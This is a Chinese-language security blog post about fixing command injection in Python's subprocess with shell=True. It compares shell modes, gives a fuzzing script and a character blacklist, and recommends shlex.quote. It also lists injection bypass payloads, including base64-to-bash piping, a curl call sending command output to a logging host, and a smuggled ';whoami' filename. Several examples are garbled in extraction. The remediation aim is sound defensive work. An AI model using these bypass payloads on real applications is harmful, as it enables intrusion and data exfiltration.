【技术分享】修复Python任意命令执行漏洞
作者:admin | 时间:2018-4-2 21:48:28 | 分类:黑客技术 隐藏侧边栏展开侧边栏
1 前言
今天遇到一个不好做白名单的Python命令执行漏洞修复的问题。由于是shell=True导致的任意命令执行,一开始大胆猜测将True改为False即可。经过测试确实是这样,但是参数需要放在list里,稍微有点麻烦。
后来考虑,还可以做黑名单,过滤掉特殊字符,那就写fuzz脚本跑那些需要过滤的字符。最后觉得黑名单方式可能会被绕过,就看官方文档,发现了一个牛逼的修复方法,利用shlex.quote()在命令的参数两边加上一对单引号。
2 测试环境
-
CentOS Linux release 7.3.1611 (Core)
-
Python 2.7.5
3 shell值为True和False的区别
s=subprocess.Popen('id', shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE) print(s.communicate()) # 输出结果,并kill产生的新进程
当shell=True,并且第一个参数外部可控,那么就能造成任意命令执行。
>>> subprocess.Popen,, False, subprocess.PIPE, subprocess.PIPE >>> s.communicate ,
这样即使;id可控,也不能任意命令执行。
执行cat /etc/passwd,如果命令要跟参数,第一个参数必须是一个list。
>>> import subprocess
>>> s=subprocess.Popen(['cat', '/etc/passwd'], shell=False, stderr=subprocess.PIPE, stdout=subprocess.PIPE)
[root@sec ~]# ps -ef | grep 24593
root 24593 24536 0 11:28 pts/0 00:00:00 python
root 24594 24593 0 11:28 pts/0 00:00:00 [cat] <defunct>
可以看到python有一个子进程叫做(cat)。证明,shell=False是python作为父进程执行了cat这个bin文件,产生一个子进程。测试的时候,如果要kill刚产生的子进程,使用s.communicate(),并查看返回结果。
测试发现,当shell=True,并且subprocess.Popen的第一个参数为一个list时,python进程会被卡死。
3.2 shell为True
import subprocess
s=subprocess.Popen('whoami | wc -l', shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE)
可以看到,Python新建了一个叫sh的子进程,该进程执行了whoami | wc -l命令。继续执行python命令s.communicate(),刚产生的子进程就被kill了。
root@sec ~ root 14:20 pts/0 00:00:00 python root 14:26 pts/0 00:00:00 sh <defunct>
所以,证明,当shell=True时,Python调用/bin/sh去执行命令。
但是有一个特例,当shell=True,执行一个没有任何参数的命令的情况和shell=False一样。说明,没有任何参数的命令,设置shell=True,并没有生效。
s=subprocess.Popen('whoami', shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE)
再查看发现,python的子进程并没有sh,而是[[whoami] <defunct>],所以证明了,没有任何参数的命令,设置shell=True,并没有新建一个bash去执行该命令。
root@sec ~ root 14:13 pts/0 00:00:00 whoami <defunct> root 14:14 pts/1 00:00:00 grep --colorauto whoami root@sec ~ root 12:24 pts/0 00:00:00 python root 14:13 pts/0 00:00:00 whoami <defunct>
3.3 总结二者区别
比较简单粗暴的可以理解为,True用/bin/sh执行,False是Python直接调用命令,而不会通过bash。
具体的细节区别:
-
当执行的命令没有参数时,无论是否设置shell=True,python直接执行该命令,而不是通过/bin/sh
-
当shell=True,并且命令存在参数时,python调用/bin/sh执行命令
-
当shell=True,并且subprocess.Popen的第一个参数为一个list时,python进程会被卡死
-
如果设置shell为False,并且想执行带参数的命令,第一个参数必须是一个list
4 Linux命令执行绕过
现在有个目标是,利用ls xx来执行id命令,xx可控。fuzz后的结果:
ls id ls id ls id ls 回车 id ls id ls id 前面加了一个空格 ls d 反斜杠 i等价于id ls id
下面这几种姿势是在网上的相关paper看到的,补充下,不过还是会利用| & ;等分割符。
ls id 拼接 ls base64 -d bash 利用base64 ls curl test.joychou.org/whoami 利用dnslog或者http web log
5 漏洞修复
所以看来,设置shell=False并不能修复命令执行,并且还会影响我们想执行的正常命令。
那就做特殊字符过滤吧。从上面的绕过姿势来看,需要过滤的字符总结如下:
ascii为10
;
|
&
`
$
(
)
fuzz的代码大概如下,如果有特殊需求,还需要酌情修改。
#coding: utf-8 import subprocess def exec_cmd(cmd): p = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) res_msg, res_err = p.communicate() res = res_msg + res_err return res def main(): for i in range(1, 256): cmd = 'echo 111 ' + chr(i) + ' id' if 'uid' in exec_cmd(cmd): print chr(i), i, cmd for i in range(32, 126): # 可见ascii码 if chr(i) == 'u' or chr(i) == '|' or chr(i) == '&' or chr(i) == ';' or i == 10: continue for j in range(32, 126): cmd = 'echo 111 ' + chr(i) + 'id' + chr(j) if 'uid' in exec_cmd(cmd): print chr(i), i, cmd if __name__ == '__main__': main()
def check_cmd_exec(input): ''' * input为输入字符串 * 检测到危险字符串,返回True,否则返回False * author: JoyChou * date: 2018-03-21 ''' res = '' blacklist = '`$()&;|' for i, ch in enumerate(input): if ord(ch) == 10 or ch in blacklist: return True return False
6 官方修复
意思就是,用pipes.quote()过滤就好了。
不过,这个库已经被官方废弃了,官方推荐使用shlex.quote()。 其实pipes.quote()和shlex.quote()这两个功能一样,都是当参数有特殊字符时,在参数两边加上一对''。
>>> a = shlex.quote('xxaa~') >>> a "'xxaa~'" >>> a = shlex.quote('xxaa') >>> a 'xxaa'
>>> filename = 'somefile; whoami'
>>> command = 'ls -l {}'.format(quote(filename))
>>> print(command)
ls -l 'somefile; whoami'
需要注意,只能用在参数上。并且Python2没有shlex,但是Python2和3都有pipes,所以想都适配就用pipes。
7 总结
-
shell=True,使用pipes.quote()对参数进行过滤
-
shell=False,参数使用list。缺点是写参数时会稍微麻烦点
8 Reference
-
https://docs.python.org/2/library/subprocess.html
-
https://docs.python.org/3/library/shlex.html
-
命令执行和绕过的一些小技巧[https://www.anquanke.com/post/id/84920